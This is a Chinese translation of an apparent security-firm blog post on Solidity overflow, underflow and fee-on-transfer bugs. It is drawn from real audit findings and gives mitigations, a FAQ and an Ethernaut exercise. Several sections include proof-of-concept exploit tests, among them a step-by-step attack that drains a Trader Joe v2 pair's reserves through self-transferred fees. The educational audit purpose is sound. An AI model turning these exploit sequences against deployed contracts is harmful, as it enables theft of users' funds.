本文深入探讨了Solidity智能合约中的溢出(overflow)和下溢(underflow)漏洞,包括静默溢出和转账手续费代币问题。文章通过真实的审计案例详细介绍了这些高危和中危漏洞的类型、影响及具体的缓解策略,并提供了一个实践练习。
通过深入了解溢出和下溢漏洞的解释、真实审计中已知的高危和中危问题,以及一个实践练习来提升你的知识。
在本文中,我收集了关于 Solidity 中一种非常常见的漏洞的解释,以及一些在下次审计中你可能会在其他协议中发现的并非一次性出现而是普遍存在的高危和中危问题。
我还将添加一个练习来巩固你所学到的知识。
这是一系列文章的一部分,我将在这系列文章中介绍一些最常见的攻击向量。

在 Solidity 中,你主要会看到使用 uint 数据类型,而不是像许多其他编程语言中那样使用 int。
这意味着什么?
这意味着,如上图所示,当你有一个 uint8 类型的变量时,它的最大值是 $2^8 - 1$,即 $255$。
如果你给 $255$ 加 $1$,结果不会是 $256$ 而是 $0$。这就是所谓的溢出(overflow)。
同样,如果你从 uint8 = 0 中减去 $1$,并且考虑到 uint 数据类型只存储正数,结果将是 $255$。这就是所谓的下溢(underflow)。
现在,这适用于所有 uint 大小,所以不要以为 uint256 会有什么不同。例如,给它的最大值加上 $3$:$2^{256} + 3 = 2$。
相关:下溢不仅是数学错误——它可能冻结整个协议。阅读智能合约上的拒绝服务攻击以了解在真实 DeFi 金库中,一次减法前缺失的边界检查如何锁定了所有存款和取款。
标题:储备更新中存在静默溢出风险 项目:Caviar Private Pools
当尝试从一个大于较小类型最大值的较大类型进行转换时,会发生静默溢出。例如,使用 uint128($tokenIds$) 这样的包装器,而该值之前被声明为 uint256。
这是一个在 Remix 中的简单演示:
1function silentOverflow(uint16 num) pure external returns (uint8) {
2 return uint8(num);
3}
将 $1000$ 作为 silentOverflow 的参数传入,返回 $232$。
1function buy(
2 uint256[] calldata tokenIds,
3 uint256[] calldata tokenWeights,
4 MerkleMultiProof calldata proof
5)
6 public
7 payable
8 returns (uint256 netInputAmount, uint256 feeAmount, uint256 protocolFeeAmount)
9{
10 // ~~~ Checks ~~~ //
11
12 // calculate the sum of weights of the NFTs to buy
13 uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
14
15 // calculate the required net input amount and fee amount
16 (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);
17 ...
18 // update the virtual reserves
19 virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
20 virtualNftReserves -= uint128(weightSum);
21 ...
22}
23
24function sell(
25 uint256[] calldata tokenIds,
26 uint256[] calldata tokenWeights,
27 MerkleMultiProof calldata proof,
28 IStolenNftOracle.Message[] memory stolenNftProofs
29) public returns (uint256 netOutputAmount, uint256 feeAmount, uint256 protocolFeeAmount) {
30 // ~~~ Checks ~~~ //
31
32 // calculate the sum of weights of the NFTs to sell
33 uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
34
35 // calculate the net output amount and fee amount
36 (netOutputAmount, feeAmount, protocolFeeAmount) = sellQuote(weightSum);
37
38 ...
39
40 // ~~~ Effects ~~~ //
41
42 // update the virtual reserves
43 virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
44 virtualNftReserves += uint128(weightSum);
45
46 ...
47}
buy() 和 sell() 函数在每次交易时更新 virtualBaseTokenReserves 和 virtualNftReserves 变量。
然而,这两个变量是 uint128 类型,而更新它们的值是 uint256 类型。
这意味着需要进行类型转换到较小的类型,但这种转换在没有首先检查被转换的值是否能适应较小类型的情况下执行。
因此,在转换过程中存在发生静默溢出的风险。
如果储备变量在静默溢出后被更新,可能导致 $xy=k$ 方程失效。这将导致完全不正确的价格计算,给用户或池所有者带来潜在的财务损失。
考虑以下测试中描述的基础代币具有高小数位数的场景(将其添加到 test/PrivatePool/Buy.t.sol):
1function test_Overflow() public {
2 // Setting up pool and base token HDT with high decimals number - 30
3 // Initial balance of pool - 10 NFT and 100_000_000 HDT
4 HighDecimalsToken baseToken = new HighDecimalsToken();
5 privatePool = new PrivatePool(
6 address(factory),
7 address(royaltyRegistry),
8 address(stolenNftOracle)
9 );
10 privatePool.initialize(
11 address(baseToken),
12 nft,
13 100_000_000 * 1e30,
14 10 * 1e18,
15 changeFee,
16 feeRate,
17 merkleRoot,
18 true,
19 false
20 );
21
22 // Minting NFT on pool address
23 for (uint256 i = 100; i < 110; i++) {
24 milady.mint(address(privatePool), i);
25 }
26 // Adding 8 NFT ids into the buying array
27 for (uint256 i = 100; i < 108; i++) {
28 tokenIds.push(i);
29 }
30 // Saving K constant (xy) value before the trade
31 uint256 kBefore = uint256(privatePool.virtualBaseTokenReserves()) *
32 uint256(privatePool.virtualNftReserves());
33
34 // Minting enough HDT tokens and approving them for pool address
35 (uint256 netInputAmount,, uint256 protocolFeeAmount) = privatePool.buyQuote(8 * 1e18);
36 deal(address(baseToken), address(this), netInputAmount);
37 baseToken.approve(address(privatePool), netInputAmount);
38
39 privatePool.buy(tokenIds, tokenWeights, proofs);
40
41 // Saving K constant (xy) value after the trade
42 uint256 kAfter = uint256(privatePool.virtualBaseTokenReserves()) *
43 uint256(privatePool.virtualNftReserves());
44
45 // Checking that K constant was changed due to silent overflow
46 assertEq(kBefore, kAfter, "K constant was changed");
47}
将此合约添加到 Buy.t.sol 的末尾,以便测试正常工作:
1contract HighDecimalsToken is ERC20 {
2 constructor() ERC20("High Decimals Token", "HDT", 30) {}
3}
添加检查,确保转换值不大于 uint128 类型的最大值:
1// File: PrivatePool.sol
2// Line 229: update the virtual reserves
3if (netInputAmount - feeAmount - protocolFeeAmount > type(uint128).max) revert Overflow();
4virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
5if (weightSum > type(uint128).max) revert Overflow();
6virtualNftReserves -= uint128(weightSum);
7
8// File: PrivatePool.sol
9// Line 322: update the virtual reserves
10if (netOutputAmount + protocolFeeAmount + feeAmount > type(uint128).max) revert Overflow();
11virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
12if (weightSum > type(uint128).max) revert Overflow();
13virtualNftReserves += uint128(weightSum);
标题:攻击者可以通过 _expiration = type(uint256).max 进行存款,从而永久锁定所有存款
项目:OpenQ
在 Solidity 中,对于整数类型 X,你可以使用 $\text{type(X).min}$ 和 $\text{type(X).max}$ 来访问该类型可表示的最小值和最大值。
1function fundBountyToken(
2 address _bountyAddress,
3 address _tokenAddress,
4 uint256 _volume,
5 uint256 _expiration,
6 string memory funderUuid
7) external payable onlyProxy {
8 IBounty bounty = IBounty(payable(_bountyAddress));
9
10 ...
11
12 require(bountyIsOpen(_bountyAddress), Errors.CONTRACT_ALREADY_CLOSED);
13
14 (bytes32 depositId, uint256 volumeReceived) = bounty.receiveFunds{
15 value: msg.value
16 }(msg.sender, _tokenAddress, _volume, _expiration);
17
18 ...
19}
DepositManagerV1 允许调用者指定 _expiration,它指定了存款被锁定的时间。
攻击者可以指定一个 _expiration = type(uint256).max 的存款,这将在 BountyCore#getLockedFunds 子调用中导致溢出,并永久性地破坏退款功能。
DepositManagerV1 的 fundBountyToken 函数允许存款人指定一个 _expiration,该 _expiration 直接传递给 BountyCore 的 receiveFunds() 函数。
BountyCore 将 _expiration 存储在 expiration 映射中:
1expiration[depositId] = _expiration;
当请求退款时,getLockedFunds 返回当前锁定的资金量。需要关注的行是 $depositTime[\text{depList}[i]] + expiration[\text{depList}[i]]$:
1function getLockedFunds(address _depositId)
2 public
3 view
4 virtual
5 returns (uint256)
6{
7 uint256 lockedFunds;
8 bytes32[] memory depList = this.getDeposits();
9 for (uint256 i = 0; i < depList.length; i++) {
10 if (
11 block.timestamp <
12 depositTime[depList[i]] + expiration[depList[i]] &&
13 tokenAddress[depList[i]] == _depositId
14 ) {
15 lockedFunds += volume[depList[i]];
16 }
17 }
18
19 return lockedFunds;
20}
攻击者可以通过进行一次存款,使得:
$$ depositTime[\text{depList}[i]] + expiration[\text{depList}[i]] > \text{type(uint256).max} $$
导致溢出,从而使 getLockedFunds 始终回滚。
为了利用这一点,用户将进行一次 _expiration = type(uint256).max 的存款,这将导致确定的溢出。
这导致 DepositManagerV1 的 refundDeposit 函数始终回滚,破坏所有退款。
在 DepositManagerV1 的 fundBountyToken() 函数中添加以下检查:
1require(_expiration <= type(uint128).max);
标题:攻击者可以通过滥用费用计算窃取全部储备 项目:Trader Joe v2
unchecked 关键字旨在允许 Solidity 开发者编写更高效的程序。
默认的“已检查”行为在计算时会消耗更多 gas,因为在底层,这些检查被实现为一系列操作码,在执行实际算术之前,它们会检查是否发生下溢/溢出,如果检测到则回滚。
因此,如果你是一位 Solidity 开发者,需要在 $0.8.0$ 或更高版本中进行一些数学运算,并且你能证明你的算术运算不可能发生下溢/溢出,那么你可以将算术运算封装在一个 unchecked 块中。
1function _beforeTokenTransfer(
2 address _from,
3 address _to,
4 uint256 _id,
5 uint256 _amount
6) internal override(LBToken) {
7 unchecked {
8 super._beforeTokenTransfer(_from, _to, _id, _amount);
9
10 Bin memory _bin = _bins[_id];
11
12 if (_from != _to) {
13 if (_from != address(0) && _from != address(this)) {
14 uint256 _balanceFrom = balanceOf(_from, _id);
15
16 _cacheFees(_bin, _from, _id, _balanceFrom, _balanceFrom - _amount);
17 }
18
19 if (_to != address(0) && _to != address(this)) {
20 uint256 _balanceTo = balanceOf(_to, _id);
21
22 _cacheFees(_bin, _to, _id, _balanceTo, _balanceTo + _amount);
23 }
24 }
25 }
26}
在 Trader Joe 中,用户可以调用 mint() 提供流动性并获得 LP 代币,也可以调用 burn() 返回他们的 LP 代币以换取底层资产。
用户使用 collectFees(account, binID) 收集费用。
费用是使用债务模型实现的。基本的费用计算是:
1function _getPendingFees(
2 Bin memory _bin,
3 address _account,
4 uint256 _id,
5 uint256 _balance
6) private view returns (uint256 amountX, uint256 amountY) {
7 Debts memory _debts = _accruedDebts[_account][_id];
8
9 amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) -
10 _debts.debtX;
11 amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) -
12 _debts.debtY;
13}
accTokenXPerShare 和 accTokenYPerShare 是一个不断增加的金额,当兑换费用支付给当前活跃的 bin 时会更新。
当流动性首次铸造给用户时,_accruedDebts 会更新以匹配当前的 $_balance \cdot \text{accToken*PerShare}$。
如果没有这一步,用户就可以收取从零到当前 accToken*PerShare 值的整个增长所产生的费用。
这是在 _updateUserDebts() 中完成的,该函数由 _cacheFees() 调用,而 _cacheFees() 又由 _beforeTokenTransfer() 调用,后者是在 mint/burn/transfer 时触发的代币转账Hook。
关键问题在于 _beforeTokenTransfer() 的条件块:
$$ \text{if } _from \neq _to $$
请注意,如果 $_from$ 或 $_to$ 是 LBPair 合约本身,则不会对 $_from$ 或 $_to$ 分别调用 _cacheFees()。
这大概是因为不期望 LBToken 地址会收到任何费用。预期 LBToken 只会在用户发送 LP 代币进行销毁时持有代币。
这就是 bug 所在之处——LBToken 地址(和 $0$ 地址)将收取新铸造的 LP 代币从 $0$ 到当前 accToken*PerShare 值的费用。
攻击流程如下:
pair.mint(),其中 to 地址为 pair 地址collectFees() —— pair 会将费用发送给自己。OZ ERC20 和 LBToken 的实现都允许自转账,这是此利用链工作的原因_pairInformation.feesX.total 在 collectFees() 中被递减,但余额并未改变1uint256 _amountIn = _swapForY
2 ? tokenX.received(_pair.reserveX, _pair.feesX.total)
3 : tokenY.received(_pair.reserveY, _pair.feesY.total);
swap() 并使用累积的费用接收储备资产burn(),将自己的地址作为 _to 参数。这将成功销毁第 1 步中铸造的代币并返还攻击者的存款资产以下是将要添加到 LBPair.Fees.t.sol 中的 PoC 测试:
1function testAttackerStealsReserve() public {
2 uint256 amountY = 53333333333333331968;
3 uint256 amountX = 100000;
4
5 uint256 amountYInLiquidity = 100e18;
6 uint256 totalFeesFromGetSwapX;
7 uint256 totalFeesFromGetSwapY;
8
9 addLiquidity(amountYInLiquidity, ID_ONE, 5, 0);
10 uint256 id;
11 (,, id) = pair.getReservesAndId();
12
13 // swap X -> Y and accrue X fees
14 (uint256 amountXInForSwap, uint256 feesXFromGetSwap) = router.getSwapIn(pair, amountY, true);
15 totalFeesFromGetSwapX += feesXFromGetSwap;
16
17 token6D.mint(address(pair), amountXInForSwap);
18 vm.prank(ALICE);
19 pair.swap(true, DEV);
20
21 uint256 amount0In = 100e18;
22
23 uint256[] memory _ids = new uint256[](1);
24 _ids[0] = uint256(ID_ONE);
25 uint256[] memory _distributionX = new uint256[](1);
26 _distributionX[0] = uint256(Constants.PRECISION);
27 uint256[] memory _distributionY = new uint256[](1);
28 _distributionY[0] = uint256(0);
29
30 token6D.mint(address(pair), amount0In);
31 pair.mint(_ids, _distributionX, _distributionY, address(pair));
32 uint256[] memory amounts = new uint256[](1);
33 for (uint256 i; i < 1; i++) {
34 amounts[i] = pair.balanceOf(address(pair), _ids[i]);
35 }
36 uint256[] memory profit_ids = new uint256[](1);
37 profit_ids[0] = 8388608;
38 pair.collectFees(address(pair), profit_ids);
39 pair.swap(true, BOB);
40
41 pair.burn(_ids, amounts, BOB);
42}
请注意,如果合约没有将整个 collectFees 代码放在 unchecked 块中,损失将限制在累计费用总额:
1if (amountX != 0) {
2 _pairInformation.feesX.total -= uint128(amountX);
3}
4if (amountY != 0) {
5 _pairInformation.feesY.total -= uint128(amountY);
6}
如果攻击者试图溢出 feesX 或 feesY 的总和,该调用将会回滚。
不幸的是,由于存在 unchecked 块,feesX 或 feesY 会溢出,因此攻击者窃取全部储备金将毫无问题。
攻击者可以窃取 LBPair 的全部储备金。
代码不应豁免任何地址的 _cacheFees() 调用。
即使 address(0) 也很重要,因为攻击者可以为 $0$ 地址调用 collectFees 来溢出 FeesX 或 FeesY 变量,即使这些费用对他们来说是不可检索的。
标题:changeFeeQuote 对于低小数位数的 ERC20 代币将失败
项目:Caviar Private Pools
答案是否定的,存在一些例外情况:
低小数位: 一些代币的小数位数较低(例如 USDC 有 $6$ 位)。更极端的是,一些代币(如 Gemini USD)只有 $2$ 位小数。这可能导致超出预期的精度损失。
高小数位: 一些代币的小数位数超过 $18$ 位(例如 YAM-V2 有 $24$ 位)。这可能会由于溢出而触发意外的回滚,给合约带来活跃性风险。
私人池有一个“更改”费用设置,用于在池中执行更改时(用户将代币兑换为池中的某些代币)收取费用。
此设置由 changeFee 变量控制,该变量旨在以 $4$ 位精度定义:
1// @notice The change/flash fee to 4 decimals of precision.
2// For example, 0.0025 ETH = 25. 500 USDC = 5_000_000.
3uint56 public changeFee;
对于 ERC20,这应该根据代币的小数位数进行相应缩放。
实现定义在 changeFeeQuote 函数中:
1function changeFeeQuote(uint256 inputAmount)
2 public
3 view
4 returns (uint256 feeAmount, uint256 protocolFeeAmount)
5{
6 // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
7 uint256 exponent = baseToken == address(0)
8 ? 18 - 4
9 : ERC20(baseToken).decimals() - 4;
10 uint256 feePerNft = changeFee * 10 ** exponent;
11
12 feeAmount = inputAmount * feePerNft / 1e18;
13 protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;
14}
主要问题是,如果代币的小数位数小于 $4$,由于 Solidity 默认的已检查数学运算,减法将导致下溢,从而导致整个交易回滚。
存在此类低小数位数的代币。一个主要例子是 GUSD (Gemini dollar),它只有两位小数。
如果这些代币中的任何一个被用作池的基础代币,那么任何对更改(change)的调用都将因下溢错误而回滚,因为费用缩放会导致下溢。
在以下测试中,我们重新创建了具有 $2$ 位小数的“Gemini dollar”代币 (GUSD),并使用它作为基础代币创建了一个私人池。
任何对 change 或 changeFeeQuote 的调用都将因下溢错误而回滚:
1function test_PrivatePool_changeFeeQuote_LowDecimalToken() public {
2 // Create a pool with GUSD which has 2 decimals
3 ERC20 gusd = new GUSD();
4
5 PrivatePool privatePool = new PrivatePool(
6 address(factory),
7 address(royaltyRegistry),
8 address(stolenNftOracle)
9 );
10 privatePool.initialize(
11 address(gusd), // address _baseToken
12 address(milady), // address _nft
13 100e18, // uint128 _virtualBaseTokenReserves
14 10e18, // uint128 _virtualNftReserves
15 500, // uint56 _changeFee
16 100, // uint16 _feeRate
17 bytes32(0), // bytes32 _merkleRoot
18 false, // bool _useStolenNftOracle
19 false // bool _payRoyalties
20 );
21
22 // The following will fail due to an underflow.
23 // Calls to `change` function will always revert.
24 vm.expectRevert();
25 privatePool.changeFeeQuote(1e18);
26}
changeFeeQuote 的实现应该检查代币小数位数是否小于 $4$,并通过除以指数差来正确缩放:
$$ \text{changeFee} / (10^{\text{4 - decimals}}) $$
例如,对于具有 $2$ 位小数的 GUSD,$\text{changeFee}$ 值为 $5000$ 应该被视为 $0.50$。
标题:PublicVault.sol 不支持收取转账费用的代币
项目:Astaria
一些代币收取转账费(例如 STA, PAXG),一些代币目前不收取费用,但未来可能会收取(例如 USDT, USDC)。
STA 转账费曾被用于从几个 balancer 池中抽走 $500\text{k}$。
如果一个收取转账费用的代币被添加到 PublicVault 中,这些代币将被锁定在 PublicVault.sol 合约中。存款人将无法提取他们的奖励。
在当前的实现中,假设收到的金额与转账金额相同。然而,由于收取转账费用的代币的工作方式,收到的金额将远少于转账的金额。
因此,后续用户可能无法成功提取他们的份额,因为它可能在 _redeemFutureEpoch() 中回滚:
1WithdrawProxy(s.epochData[epoch].withdrawProxy).mint(shares, receiver);
当 WithdrawProxy 被调用时,由于余额不足。
收取转账费用的场景:
transferFrom:$100$ 个代币到当前合约有两种可能性:
既然你已经学习了理论并了解了一些高危和中危问题的示例,现在是时候实践了。
使用 Ethernaut 工具,你需要在其中破解一个智能合约才能完成关卡。
去尝试 Token 关卡,以证明你理解溢出和下溢。
在 Zealynx,我们专注于智能合约安全审计和漏洞预防。无论你需要溢出/下溢审查还是全面的协议审计,我们的团队都准备好帮助你交付安全的代码。 联系我们以开始对话。
想要通过更多深入的分析保持领先吗? 订阅我们的时事通讯并确保你不会错过未来的见解。
Solidity 中的溢出是什么?
溢出是指算术运算产生的值超过数据类型所能容纳的最大值。例如,将 $1$ 添加到一个存储 $255$ 的 uint8 变量会回绕到 $0$ 而不是变成 $256$。
Solidity 中的下溢是什么?
下溢是指算术运算产生的值低于数据类型所能容纳的最小值。对于一个存储 $0$ 的 uint8 变量,减去 $1$ 会回绕到 $255$,因为无符号整数不能表示负数。
Solidity $0.8.0+$ 会自动防止溢出和下溢吗?
是的,从 Solidity $0.8.0$ 开始,算术运算默认会在溢出和下溢时回滚。然而,开发者可以通过将操作封装在 unchecked 块中来绕过这种保护,这会为了 gas 优化目的重新引入风险。
什么是静默溢出,为什么它很危险?
静默溢出发生在将较大的整数类型(例如 uint256)转换为较小的类型(例如 uint128)时,并且该值超过了较小类型的最大值。Solidity 不会对显式类型转换进行回滚,因此该值会静默地截断,这可能会破坏关键的协议数学,如 AMM 定价曲线。
我如何保护我的智能合约免受溢出/下溢的影响?
使用 Solidity $0.8.0+$ 和默认的已检查数学运算。在使用 unchecked 块时,仔细证明溢出是不可能的。在进行整数大小向下转换时,务必在转换之前验证值是否适合目标类型。考虑对所有类型转换使用 SafeCast 库。
| 术语 | 定义 |
|---|---|
| 溢出 | 当算术运算产生的结果大于数据类型可以存储的最大值时发生的情况,导致该值回绕到零。 |
| 下溢 | 当算术运算产生的结果小于数据类型可以存储的最小值时发生的情况,导致该值回绕到最大值。 |
| Unchecked Block | Solidity $0.8.0+$ 中的一个特性,在块内禁用自动溢出/下溢检查以优化 gas,重新引入了回绕行为。 |
| 静默溢出 | 在显式类型转换(例如,uint256 到 uint128)期间发生的溢出,Solidity 不会对此回滚,从而静默截断该值。 |
| Fee-on-Transfer | 一种代币机制,其中每次转账都会收取一定比例的费用,导致实际收到的金额与发送的金额不同。 |
- 原文链接: zealynx.io/blogs/solidit...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!